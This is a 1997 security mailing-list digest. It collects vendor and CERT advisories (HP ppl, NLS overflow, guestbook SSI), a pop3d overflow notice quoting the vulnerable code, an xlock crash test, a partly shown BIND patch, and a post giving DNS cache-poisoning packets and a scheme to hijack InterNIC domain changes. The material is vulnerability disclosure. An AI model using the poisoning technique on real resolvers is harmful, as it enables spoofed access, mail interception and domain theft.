Wed Apr 23 3:00:08 PDT 1997 Table of Contents: Document ID Title --------------- ----------- HPSBUX9704-057 Security Vulnerability in ppl command The documents are listed below. ------------------------------------------------------------------------------- Document ID: HPSBUX9704-057 Date Loaded: 970423 Title: Security Vulnerability in ppl command ------------------------------------------------------------------------- HEWLETT-PACKARD SECURITY BULLETIN: #00057, 22 April 1997 ------------------------------------------------------------------------- The information in the following Security Bulletin should be acted upon as soon as possible. Hewlett Packard will not be liable for any consequences to any customer resulting from customer's failure to fully implement instructions in this Security Bulletin as soon as possible. ------------------------------------------------------------------------- PROBLEM: Security Vulnerability in [/usr]/bin/ppl PLATFORM: HP 9000 Series 700/800s running HP-UX releases 9.X & 10.X DAMAGE: Vulnerability exists that could allow local users to gain root privileges. SOLUTION: Apply patch: PHNE_10290 for all platforms with HP-UX releases 9.X PHNE_10363 for all platforms with HP-UX releases 10.01 PHNE_10364 for all platforms with HP-UX releases 10.10 PHNE_10365 for all platforms with HP-UX releases 10.20 AVAILABILITY: All patches are currently available. ------------------------------------------------------------------------- I. A. Background A vulnerability in the ppl executable ([/usr]/bin/ppl) exists. (Detailed in AUSCERT Advisory AA-97.07). B. Fixing the problem The vulnerability can be eliminated from HP-UX releases 9.X and 10.X by applying the appropriate patch. C. Recommended solution 1. Determine which patch is appropriate for your operating system. HP-UX version 10.00 users are encouraged to upgrade to HP-UX version 10.01 or above. 2. Hewlett-Packard's HP-UX patches are available via email and the World Wide Web To obtain a copy of the Hewlett-Packard SupportLine email service user's guide, send the following in the TEXT PORTION OF THE MESSAGE to support@us.external.hp.com (no Subject is required): send guide The users guide explains the HP-UX patch downloading process via email and other services available. World Wide Web service for downloading of patches is available via our URL: (http://us.external.hp.com) 3. Apply the patch to your HP-UX system. 4. Examine /tmp/update.log (9.X), or /var/adm/sw/swinstall.log (10.X), for any relevant WARNING's or ERROR's. D. Impact of the patch The patches for HP-UX releases 9.X and 10.X provide enhancements to the ppl executable to avoid this vulnerability. E. To subscribe to automatically receive future NEW HP Security Bulletins from the HP Electronic Support Center via electronic mail, do the following: User your browser to get to the HP Electronic Support Center page at: http://us-support.external.hp.com (for US, Canada, Asia-Pacific, & Latin-America) http://europe-support.external.hp.com (for Europe) Click on the Technical Knowledge Database, register as a user (remember to save the User ID assigned to you, and your password), and it will connect to a HP Search Technical Knowledge DB page. Near the bottom is a hyperlink to our Security Bulletin archive. Once in the archive there is another link to our current security patch matrix. Updated daily, this matrix is categorized by platform/OS release, and by bulletin topic. F. To report new security vulnerabilities, send email to security-alert@hp.com Please encrypt any exploit information using the security-alert PGP key, available from your local key server, or by sending a message with a -subject- (not body) of 'get key' (no quotes) to security-alert@hp.com. Permission is granted for copying and circulating this Bulletin to Hewlett-Packard (HP) customers (or the Internet community) for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to HP, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. HP is not liable for any misuse of this information by any third party. ________________________________________________________________________ -----End of Document ID: HPSBUX9704-057-------------------------------------- ------------------------------ Date: Wed, 23 Apr 1997 19:34:20 -0400 From: Johannes Erdfelt To: best-of-security@suburbia.net Subject: BoS: Re: SNI-12: BIND Vulnerabilities and Solutions (+ more problems) Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII Since SNI has released that paper and stole all of the thunder out of my advisory, I'll post a couple of things in addition to their advisory. There's a couple of things in this post and it's semi long. There's a MUCH easier way of caching RR's. As long as the nameserver is older than 4.9.5+P1 which is > 90% of the net. I explained it in a paper I wrote last year I sent it off to Paul Vixie to get a reply (and possibly a patch) to the problem. The problem is basically this: BIND will cache ANYTHING that it gets in the return packet. This advisory was partially leaked to nanog and is known to have been leaked to a number of other people. Here it is from my original advisory (complete with spelling and grammar mistakes): [BEGIN EXCERPT] 4) Explanation of bug During the caching of the information of answer returned from a recursive query it will cache everything that is returned in the answer, name server and additional sections. The way to exploit this bug is trivial. As an example, a daemon running on 123.45.67.89 wants to determine the domain name of the IP which just had connected to it. This is a common practice done by many daemons for logging purposes. A user on the machine 38.222.74.2 connects to the rlogin port of 123.45.67.89. The DNS server that 123.45.67.89 uses is 98.76.54.32. 123.45.67.89 sends out a query to 98.76.54.32 asking for a PTR record: 123.45.67.89 -> 98.76.54.32 [Query] NQY: 1 NAN: 0 NNS: 0 NAD: 0 QY: 2.74.222.38.in-addr.arpa PTR The name server at 98.76.54.32 has no information on that domain. After a couple of more queries, it comes to find that 38.222.74.2 and 38.222.74.10 are authoritative name servers for 74.222.38.in-addr.arpa. It then sends a query out to one of them: 98.76.54.32 -> 38.222.74.2 [Query] NQY: 1 NAN: 0 NNS: 0 NAD: 0 QY: 2.74.222.38.in-addr.arpa PTR The DNS server at 38.222.74.2 receives the query and then answers it: 38.222.74.2 -> 98.76.54.32 [Answer] NQY: 1 NAN: 2 NNS: 2 NAD: 2 QY: 2.74.222.38.in-addr.arpa PTR AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com AN: trusted.host.com A 38.222.74.2 NS: 74.222.38.in-addr.arpa NS ns.sventech.com NS: 74.222.38.in-addr.arpa NS ns1.sventech.com AD: ns.sventech.com A 38.222.74.2 AD: ns1.sventech.com A 38.222.74.10 When the DNS server at 98.76.54.32 gets the answer, it will relay this packet back to 123.45.67.89, the original querying machine. It will also, take the answer, the name servers, and the additional sections and cache them. Now that it has a domain name for the IP, and since the service is rlogin, the daemon will now check the /etc/hosts.equiv file to see if this host is allowed access to the machine. However, spoofing, as this technique is commonly called, a PTR record has been known about for years. TCP wrappers for instance try to fix this problem by doing a lookup on the domain name returned in the original query and checking the 2 IP addresses. If they don't match then it assumes that someone is trying to fake their PTR record to gain unauthorized access. However, when tcpd does the lookup for the A record: 123.45.67.89 -> 98.76.54.32 [Query] NQY: 1 NAN: 0 NNS: 0 NAD: 0 QY: trusted.host.com A The DNS server at 98.76.54.32 will return the information which it had cached earlier when the 2.74.222.38.in-addr.arpa answer was returned: 98.76.54.32 -> 123.45.67.89 [Query] NQY: 1 NAN: 1 NNS: 2 NAD: 2 QY: trusted.host.com A AN: trusted.host.com A 38.222.74.2 NS: 74.222.38.in-addr.arpa NS ns.sventech.com NS: 74.222.38.in-addr.arpa NS ns1.sventech.com AD: ns.sventech.com A 38.222.74.2 AD: ns1.sventech.com A 38.222.74.10 Now tcpd thinks that the user at 38.222.74.2 is actually trusted.host.com when they are really someone else. This can lead to unauthorized access to a system which does all authentication based on domain name. 4) Denial of service Let's take the original 2.74.222.38.in-addr.arpa query and modify it slightly: 38.222.74.2 -> 98.76.54.32 [Answer] NQY: 1 NAN: 2 NNS: 2 NAD: 2 QY: 2.74.222.38.in-addr.arpa PTR AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com AN: www.company.com A 0.0.0.1 NS: 74.222.38.in-addr.arpa NS ns.sventech.com NS: 74.222.38.in-addr.arpa NS ns1.sventech.com AD: ns.sventech.com A 38.222.74.2 AD: ns1.sventech.com A 38.222.74.10 Now whenever some queries the DNS server at 98.76.54.32 for information about www.company.com then they will be pointing at 0.0.0.1 which is a non existant IP address which no one will respond to. Effectively denying service to the people who wish to get to www.company.com. 5) Theft of services Let's take the 2.74.222.38.in-addr.arpa query one more time as an example: 38.222.74.2 -> 98.76.54.32 [Answer] NQY: 1 NAN: 3 NNS: 2 NAD: 2 QY: 2.74.222.38.in-addr.arpa PTR AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com AN: www.company.com CNAME www.competitor.com AN: company.com MX 0 mail.competitor.com NS: 74.222.38.in-addr.arpa NS ns.sventech.com NS: 74.222.38.in-addr.arpa NS ns1.sventech.com AD: ns.sventech.com A 38.222.74.2 AD: ns1.sventech.com A 38.222.74.10 Now, whenever someone wishes to visit www.competitor.com, they are instead diverted to a thrid party, possibly hostile site. In this case, to a competitors web site. If someone were to send email to company.com, it would go to mail.company.com instead where a competitor could get information which is supposed to be destined to www.company.com. 6) Limitations There a couple of limitations to this particular attack. One cannot "replace" DNS information that is already in the cache. For instance, say DNS server 98.76.54.32 has a CNAME record for www.company.com already and I try to replace it with www.competitor.com, it will not work. However, there are pieces of information which can be "added" to. For instance, A records can be "added" to. If www.company.com has instead an A record to 1.2.3.4 and I send an A record of 4.3.2.1 in my packet, www.company.com will now have the IP addresses 1.2.3.4 and 4.3.2.1 which will be "randomly" picked between the two whenever someone queries www.company.com. This can be circumvented with a little patience. For instance, www.altavista.digital.com has a TTL of 7200. That means, the DNS server will only cache the information for www.altavista.digital.com for 7200 seconds or 2 hours. If we put an A record which has an TTL of 604800 or 1 week, then we can effiectively "outlive" the real cached information. After 2 hours, then our bad information is the only thing left and the DNS server will then start giving out bad information. Here is a list of the most commonly used "addable" and non-"addable" DNS records: A can add NS can add MX can add PTR cannot add CNAME cannot add [END EXCERPT] In addition to this problem, 4.9.5+P1 (and probably some derivation of in older versions) has another problem. Even tho it fixes these problems it still passes the packet generally untouched onto the remote end. If the other end does any caching, it'll cache the bad stuff. Also, if the PTR record has a bad domain name, it'll use it. (I thought this was fixed in 4.9.4?) All of this stems from the fact, that bind basically doesn't touch the packet when it resends it off to the original querying machine. Right now, this is playing havok on IRC networks since the ircd server has it's own resolver library and does some basic caching. Not to mention the fact that the IRC protocol stream is \n terminated and you can put \n's in domain names this way. Now that SNI has broken the silence (and my thunder by releasing first) I'll explain another "hypothetical" attack. The InterNIC is very dependant on email. In fact, when someone goes to update a domain, they will send the change notice to the contacts. What if someone had cached an MX record on the DNS servers the internic uses to do recursive queries so that when sendmail goes to send the message, it'll be delivered to another machine and it just eats it. (btw - that DNS server was mtsfs.internic.net as of a couple of weeks ago) Even better is this statement in their template: 7.3. Request from a Sender not listed as a Contact All the Contacts will be notified before processing the request. If the InterNIC receives an ACK first before the waiting time indicated on the Notify Template expires, the request will be processed. Otherwise, the request will NOT be processed. Since you're intercepting all of that mail, you can easily ACK the mail from the InterNIC. I'm exactly sure how to read that, but it looks like to be if someone else sends in the update then it'll require one of the contacts to ACKnowledge that the change is legit. I sent some email to the InterNIC, however (after over a month) have yet to receive a reply. If there's anyone from the InterNIC reading this, please respond to NIC-970309.5128 sometime this century. Also, you can make yourself look like the email is coming from the right person by caching the PTR/A records on their other DNS server which does recursive queries when email comes in. (which happens to be lists.internic.net) Not to mention that rs.internic.net (the MX for internic.net) is IP spoofable as well. All of the info was legit a couple of weeks ago. It may have changed now, but I'm not sure. I also won't say if this ever has been attempted or accomplished :) Any questions? Please direct them to jerdfelt@sventech.com, I'm busy working right now but I'll do my best to answer all of the email I get. Also please forgive any grammar/spelling mistakes. I'm horrible at English. BTW - All versions of sendmail blindly copy the domain name into a 514 byte buffer. I haven't gotten my PTR records to get past 420 bytes but I have a feeling my code to build DNS packets is a little buggy. JE ------------------------------ Date: Thu, 24 Apr 1997 14:51:43 -0400 (EDT) From: "Peter C. Norton" To: best-of-security@suburbia.net Subject: BoS: CERT Advisory CA-97.10 - Vulnerability in Natural Language Service (fwd) Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII I haven't seen this on BoS yet, so here goes... -Peter ---------- Forwarded message ---------- Date: Thu, 24 Apr 1997 12:29:52 -0400 From: CERT Advisory Reply-To: cert-advisory-request@cert.org To: cert-advisory@cert.org Subject: CERT Advisory CA-97.10 - Vulnerability in Natural Language Service -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT* Advisory CA-97.10 Original issue date: April 24, 1997 Last revised: -- Topic: Vulnerability in Natural Language Service - ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of a buffer overflow condition that affects some libraries using the Natural Language Service (NLS) on UNIX systems. By exploiting this vulnerability, any local user can execute arbitrary programs as a privileged user. There is a possibility (with some old libraries) that the vulnerability can be exploited by a remote user. Exploitation information is publicly available. The CERT/CC team recommends installing patches when they become available. We will update this advisory as we receive additional information. Please check advisory files regularly for updates that relate to your site. - ----------------------------------------------------------------------------- I. Description A buffer overflow condition affects libraries using the Natural Language Service (NLS). The NLS is the component of UNIX systems that provides facilities for customizing the natural language formatting for the system. Examples of the types of characteristics that can be set are language, monetary symbols and delimiters, numeric delimiters, and time formats. Some libraries that use a particular environment variable associated with the NLS contain a vulnerability in which a buffer overflow condition can be triggered. The particular environment variable involved is NLSPATH on some systems and PATH_LOCALE on others. It is possible to exploit this vulnerability to attain unauthorized access by supplying carefully crafted arguments to programs that are owned by a privileged user-id and that have setuid or setgid bits set. Exploit information involving this vulnerability has been made publicly available. II. Impact Local users (users with access to an account on the system) are able to execute arbitrary programs as a privileged user without authorization. There is a possibility (with some old libraries) that the vulnerability can be exploited by a remote user. III. Solution Install a patch for this problem when one becomes available. Currently, there is no workaround to use in the meantime. Below is a list of vendors who have provided information about this problem. Details are in Appendix A of this advisory; we will update the appendix as we receive more information. If your vendor's name is not on this list, the CERT/CC did not hear from that vendor. Please contact your vendor directly. Berkeley Software Design, Inc. (BSDI) Cray Research - A Silicon Graphics Company Data General Corporation Digital Equipment Corporation Hewlett-Packard Company IBM Corporation Linux Systems NEC Corporation NeXT/Apple The Santa Cruz Operation (SCO) Solbourne Sun Microsystems, Inc. ........................................................................... Appendix A - Vendor Information Below is a list of the vendors who have provided information for this advisory. We will update this appendix as we receive additional information. If you do not see your vendor's name, the CERT/CC did not hear from that vendor. Please contact the vendor directly. Berkeley Software Design, Inc. (BSDI) ===================================== No versions of BSD/OS are vulnerable to this problem. Cray Research - A Silicon Graphics Company ========================================== We're investigating. Data General Corporation ======================== We're investigating. Digital Equipment Corporation ============================= SOURCE: Digital Equipment Corporation Software Security Response Team Copyright (c) Digital Equipment Corporation 1997. All rights reserved. This reported problem is not present for Digital's ULTRIX or Digital UNIX Operating Systems Software. Hewlett-Packard Company ======================= Investigation in process, results -to date- indicate HP not vulnerable. This advisory will be updated when investigation is complete. IBM Corporation =============== All AIX releases are vulnerable to a variation of this advisory. AIX 3.2.5 --------- Apply the following fix to your system: PTFs - U447656 U447671 U447676 U447682 U447705 U447723 (APAR IX67405) To determine if you have these PTFs on your system, run the following command: lslpp -lB U447656 U447671 U447676 U447682 U447705 U447723 AIX 4.1 ------- Apply the following fix to your system: APAR - IX67407 To determine if you have this APAR on your system, run the following command: instfix -ik IX67407 Or run the following command: lslpp -h bos.rte.libc Your version of bos.rte.libc should be 4.1.5.7 or later. AIX 4.2 ------- Apply the following fixes to your system: APAR - IX67377 IX65693 To determine if you have these APARs on your system, run the following command: instfix -ik IX67377 IX65693 Or run the following command: lslpp -h bos.rte.libc Your version of bos.rte.libc should be 4.2.0.11 or later. (APAR IX65693 fixes a problem with the mkgroup command after IX67377 is applied.) To Order -------- APARs may be ordered using Electronic Fix Distribution (via FixDist) or from the IBM Support Center. For more information on FixDist, reference URL: http://service.software.ibm.com/aixsupport/ or send e-mail to aixserv@austin.ibm.com with a subject of "FixDist". IBM and AIX are registered trademarks of International Business Machines Corporation. Linux Systems ============= Linux systems running older C libraries are vulnerable. To check which C library is being used type linux% ldd /bin/ls libc.so.5 => /lib/libc.so.5.3.12 This indicates the machine is using libc 5.3.12. C libraries older than 5.3.12 (that is libc5.2.18, libc5.0.9 etc) are vulnerable to this bug and you should upgrade the C library. The release versions of libc 5.4.x are immune to this attack. If you have libc5.3.12 it is insecure unless it is the modified libc5.3.12 shipped with Red Hat 4.1, or as an upgrade on Red Hat 4.0. You can check this with the package manager: linux# rpm -q libc libc-5.3.12-17 Indicates you have version 17 of the package. This is the safe one. Red Hat 4.0 users who have not already upgraded their libc can obtain this package at ftp://ftp.redhat.com/pub/redhat/old-releases/redhat-4.0/updates/. NEC Corporation =============== NEC platforms are not affected by this vulnerability. NeXT/Apple ========== No versions of NeXTstep of OpenStep/Mach are vulnerable to this problem. The Santa Cruz Operation (SCO) ============================= We are investigating this problem and will provide updated information for this advisory when it becomes available. Solbourne ========= Solbourne is not vulnerable. Sun Microsystems, Inc. ====================== Not vulnerable. - ----------------------------------------------------------------------------- The CERT Coordination Center staff thanks Wolfgang Ley of DFN-CERT for his input to this advisory. - ----------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see http://www.first.org/team-info). CERT/CC Contact Information - ---------------------------- Email cert@cert.org Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send email to cert-advisory-request@cert.org In the subject line, type SUBSCRIBE your-email-address - --------------------------------------------------------------------------- Copyright 1997 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. * Registered U.S. Patent and Trademark Office. - --------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-97.10.nls http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM1+AKXVP+x0t4w7BAQEUEgQAw697OwAlTU3RZNYQxX7HLwjOTfdidYHb 3thaI3hGs3dWWEBNrrgtlK1dw/1wpJHFv0fMf7cGYNJAv9tbiD01Z75CTY1majzM 6tb/SNxQAUbzV8iIajFgsAGE+qRREdOfV0ZBPMB+ti3sd32TC/xpUa9iu+O7JTdt Gqv9r0OwK3Y= =lHvi -----END PGP SIGNATURE----- ------------------------------ Date: Thu, 24 Apr 1997 16:40:55 -0400 From: CERT Bulletin To: best-of-security@suburbia.net Subject: BoS: CERT Vendor-Initiated Bulletin VB-97.02 - Guestbook Script Vul Message-Id: <199704242040.QAA14046@coal.cert.org> -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT* Vendor-Initiated Bulletin VB-97.02 April 24, 1997 Topic: Security Hole in Guestbook Script for Web Servers Using SSI Source: Selena Sol To aid in the wide distribution of essential security information, the CERT Coordination Center is forwarding the following information from Selena Sol, who urges you to act on this information as soon as possible. Contact information is included in the forwarded text below; please contact Selena Sol if you have any questions or need further information. =======================FORWARDED TEXT STARTS HERE============================ Problem: Vulnerability in all versions of Selena Sol's Guestbook I. Description Guestbook applications allow a person browsing a web site to "sign" an electronic guestbook and leave an appropriate message. A guestbook CGI script is freely available by Selena Sol at the following URL: http://www.eff.org/~erict/Scripts/guestbook.html All versions of this program have a vulnerability that under certain conditions allows a remote user to execute arbitrary commands on the server as the user id of the httpd daemon. These conditions are: - the server allow Server Side Includes (SSI) on the directory in which the guestbook is located, and, - the guestbook application allows the remote user to write HTML tags into the Comment field of the guestbook, and, - the guestbook application does not filter appropriate HTML tags. II. Impact Remote users may be able to execute arbitrary commands on the web server as the uid of the httpd daemon. III. Solution Sites using this application should either update their guestbook to the current version or implement the following steps as appropriate to the version they are using. Note that this may mean changing default values within the application. (a) Disable SSI on the directory in which the guestbook application writes its data. See your WWW server documentation for details. (b) Filter HTML tags that can be used to process arbitrary local data: $ diff -c guestbook.cgi.old guestbook.cgi *** guestbook.cgi.old Mon Apr 21 15:52:39 1997 --- guestbook.cgi Mon Apr 21 16:07:45 1997 *************** *** 88,108 **** @form_variables = keys (%form_data); ! # For every variable sent to us from the form, and for each word in our ! # list of bad words, replace (=~ s/) any occurrence, case insensitively ! # (/gi) of the bad word ($word) with the word censored. ! # $form_data{$variable} should be equal to what the client filled in in ! # the input boxes... # ! # Further, if the admin has set allow_html to 0, (!= 1) it means that she ! # does not want the users to be able to use HTML tags...so, delete them. foreach $variable (@form_variables) { foreach $word (@bad_words) { $form_data{$variable} =~ s/\b$word\b/censored/gi; } if ($allow_html != "yes") { $form_data{$variable} =~ s/<([^>]|\n)*>//g; --- 88,121 ---- @form_variables = keys (%form_data); ! # For every variable sent to us from the form, filter HTML tags ! # that we do not allow regardless of configuration. # ! # Also, for each word in our list of bad words, replace (=~ s/) ! # any occurrence, case insensitively (/gi) of the bad word ($word) ! # with the word censored. $form_data{$variable} should be equal ! # to what the client filled in in the input boxes... ! # ! # Further, if the admin has set allow_html to 0, (!= 1) it means ! # that she does not want the users to be able to use HTML tags...so, ! # delete them. foreach $variable (@form_variables) { + + # Strip non-negotiable HTML. + # Un-Webify plus signs and %-encoding + $form_data{$variable} =~ tr/+/ /; + $form_data{$variable} =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; + $form_data{$variable} =~ $value =~ s///g; + + # Replace bad words. foreach $word (@bad_words) { $form_data{$variable} =~ s/\b$word\b/censored/gi; } + + # Strip ALL HTML if configured this way. if ($allow_html != "yes") { $form_data{$variable} =~ s/<([^>]|\n)*>//g; (c) If you do not wish to allow guests to leave HTML tags at all, disable the use of HTML tags in the guestbook by setting appropriate configuration variables. You can do this by changing the following line in guestbook.setup: $ diff -c guestbook.setup.old guestbook.setup *** guestbook.setup.old Wed Aug 14 16:28:13 1996 --- guestbook.setup Mon Apr 21 15:51:20 1997 *************** *** 16,22 **** $remote_mail = "yes"; ! $allow_html = yes; @required_fields = ("realname", "comments"); --- 16,22 ---- $remote_mail = "yes"; ! $allow_html = no; @required_fields = ("realname", "comments"); For more information, contact Selena Sol at selena@eff.org ========================FORWARDED TEXT ENDS HERE============================= If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). See http://www.first.org/team-info/. We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - ------------------------ Email cert@cert.org Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA CERT publications, information about FIRST representatives, and other security-related information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for CERT advisories and bulletins, send your email address to cert-advisory-request@cert.org In the subject line, type SUBSCRIBE your-email-address * Registered U.S. Patent and Trademark Office. The CERT Coordination Center is part of the Software Engineering Institute (SEI). The SEI is sponsored by the U. S. Department of Defense. This file: ftp://info.cert.org/pub/cert_bulletins/VB-97.02.sol_guestbook -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM1+00XVP+x0t4w7BAQGLVAP/U/yiJ5LLMQ2emOvK2DX81eDkAZ3hYh8A WRgC/zM4L48KOf+yWjBRF9C76wI20Jm3gdP3YfcX4uyklo+xMtN5ZioTYuofVgmA sbdOuZTMwg6t44T8nY+L2zIrnp5YyTeZJSZeJUwb6bX/pgub21M0iC+ywXZ+6wFe 5slK5NOGCf4= =apLR -----END PGP SIGNATURE----- ------------------------------ Date: Sat, 26 Apr 1997 10:38:11 -0500 From: Corinne Posse To: best-of-security@suburbia.net Subject: BoS: COrinne Posse Release 970424 Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII Someone sent out the last one without proofreading it. This is the version that makes sense. ************** Corinne Posse Security Notice ************** Issue Number 4: 970424 ************** http://corinne.mac.edu/posse ************** **** Possible buffer overflow in pop3d **** *pop3d-1.00.4 (BSD 4.3-based pop3d servers) USER buffer overflow* Affected Sites: Systems running OLD versions of pop3d, namely 1.00.4 based versions on the "original" BSD 4.3 Virtual VAX pop3d by Katie Stevens are vulnerable. In addition, I believe this includes many older Linux distributions, as many early Linux pop3ds were basnf of this version. I don't know which distributions would be guilty of having this daemon, or at what point in time they stopped using it. See ftp://tsx-11.mit.edu/pub/linux/packages/net/attic/ Other/pop3d/pop3d-1.00.4.tar.gz for a copy of the source code that I examined to find the problem. Problem: The problem lies in the routine used to read in the username. This problem is exactly like the vulnerability SNI found with imapd, except a different software package and strangely similar, yet different code. A malicious user can easily cause arbitrary execution from the stack (as root, since most pop3 daemons run as root) provided they have good motivation and know what the stack looks like. The offending code follows: char cli_user[CLI_BUFSIZ]; /* CLI_BUFSIZE is a whole 128 characters! */ char *inbuf if (strncmp(inbuf,"user",4) == 0) { inbuf += 4; EATSPACE(inbuf); strcpy(cli_user,inbuf); from "main.c" (around line 155 of main.c, depending on your distribution) Fixes: The obvious fix is to upgrade to pop3d software that is more recent/reliable, or to tinker with the code yourself. Good Luck! [Found and released by: Jonathan Katz, jkatz@corinne.mac.edu] Jon, a Sophomore at MacMurray College in Jacksonville, IL, is the founder and president of Corinne Posse. http://corinne.mac.edu/posse for more information about the posse. "Systems security begins with common sense, it's not an add-in feature." ------------------------------ Date: Sun, 27 Apr 1997 14:27:08 +0100 From: David Hedley To: best-of-security@suburbia.net Subject: BoS: Re: Overflow in xlock Message-ID: <14498.862147628@maxx> >>>>> "GS" == George Staikos writes: GS> There appears to be an exploitable buffer overflow in xlock, the GS> X based screensaver/locker. Xlock is installed suid root on GS> machines with shadowed passwords. I have verified this on xlock GS> versions on AIX 4.x and Linux (exploit for Linux posted below), GS> but I cannot determine what version I was using, as xlock does GS> not seem to contain version information in the binary and I GS> don't have the original source. The overflow is in the -name GS> parameter, and it is fixed in xlockmore-4.01, available on GS> sunsite in /pub/Linux/X11/screensavers/xlockmore-4.01.tgz . GS> Other platforms have not been checked for this, and while this GS> is an older version of xlock, many systems seem to come GS> preloaded with this version. Also, xlock does not need to be GS> suid root unless it is running on a machine with shadowed GS> passwords, so another possible fix it chmod u-s xlock. I mailed CERT at the beginning of this month about the problem with xlock (VU#14948). I was going to give them a month or so to get a patch organised before publishing my exploit (for Solaris 2.5.x). As far as I know, all platforms shipped with xlock are vulnerable to this problem. xlockmore-4.02 fixes all these problems, including one minor buffer overflow present in xlockmore-4.01. It is available as ftp.x.org:/contrib/applications/xlockmore-4.02.tar.gz The following is taken from my posting to CERT: [snip] I have recently discovered a security hole in xlock which allows existing users to become root. This hole is present on _all_ versions of xlock in existence to the best of my knowledge. Including Solaris, Irix (5.3 & 6.2), FreeBSD and any other system which has xlock installed suid root. The problem lies in xlock trusting various bits of the environment and its command line arguments. Specifically: $HOME $XAPPLRESDIR $XUSERFILESEARCHPATH $XFILESEARCHPATH the classname (specified via the -name parameter) the mode (specified via the -mode parameter) To see if you are vulnerable, simply do: xlock -name xxxxxxxxxxxxxxxxxxxxxxxx If xlock crashes with a segmentation fault or similar, then you are vulnerable. [snip] David -- David Hedley (hedley@cs.bris.ac.uk) finger hedley@cs.bris.ac.uk for PGP key Computer Graphics Group | University of Bristol | UK ------------------------------ Date: Sun, 27 Apr 1997 04:13:03 -0400 From: Illuminati Primus To: best-of-security@suburbia.net Subject: BoS: BIND ID Brute Force Fix Message-ID: Content-Type: MULTIPART/MIXED; BOUNDARY="-941424629-1004745063-862128783=:38774" This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---941424629-1004745063-862128783=:38774 Content-Type: TEXT/PLAIN; charset=US-ASCII Here is a patch I hacked together to deal with an ID brute force attempt. The patch is against a clean BIND 8.1-T2B without any other patches. I just finished compiling this (and I must say the BIND source was very nicely made), but havent tried testing it AT ALL.. So if it results in your house blowing up and becoming a gateway for the Spawn of Hell, dont blame me. Besides, the sun is going to rise in a few hours and all I had to eat were some chocolate cookies. -vermont@gate.net, aspiring mongoloid programmer PD Shameless plug: would like a decent internet security related job.. Young and willing to learn ---941424629-1004745063-862128783=:38774 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="anti-brute.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: An evil mime attachment ZGlmZiAtdSAuLi9vbGQtbmFtZWQvbnNfZm9ydy5jIC4vbnNfZm9ydy5jDQot LS0gLi4vb2xkLW5hbWVkL25zX2ZvcncuYwlXZWQgSmFuIDI5IDA0OjAxOjQ5 IDE5OTcNCisrKyAuL25zX2ZvcncuYwlTdW4gQXByIDI3IDAzOjQyOjM2IDE5 OTcNCkBAIC0xMDA1LDYgKzEwMDUsMTkgQEANCiB9DQogDQogc3RydWN0IHFp bmZvICoNCitxYXBwcm94ZnJvbShzdHJ1Y3QgaW5fYWRkciBhZGRyZXNzKSB7 DQorCXN0cnVjdCBxaW5mbyAqcXA7DQorDQorCWZvciAocXAgPSBuc3FoZWFk OyBxcCAhPSBOVUxMOyBxcCA9IHFwLT5xX2xpbmspDQorCQlpZiAoaW5hX2Vx dWFsKHFwLT5xX2FkZHJbcXAtPnFfY3VyYWRkcl0ubnNfYWRkci5zaW5fYWRk ciwNCisJCQlhZGRyZXNzKSkNCisJCQlicmVhazsNCisJbnNfZGVidWcobnNf bG9nX2RlZmF1bHQsIDMsICJxYXBwcm94ZnJvbSglcykgLT4gJSNseCIsDQor CQkgaW5ldF9udG9hKGFkZHJlc3MpLCAodV9sb25nKXFwKTsNCisJcmV0dXJu IChxcCk7DQorfQ0KKw0KK3N0cnVjdCBxaW5mbyAqDQogcW5ldyhjb25zdCBj aGFyICpuYW1lLCBpbnQgY2xhc3MsIGludCB0eXBlKSB7DQogCXN0cnVjdCBx aW5mbyAqcXA7DQogDQpkaWZmIC11IC4uL29sZC1uYW1lZC9uc19mdW5jLmgg Li9uc19mdW5jLmgNCi0tLSAuLi9vbGQtbmFtZWQvbnNfZnVuYy5oCVRodSBK 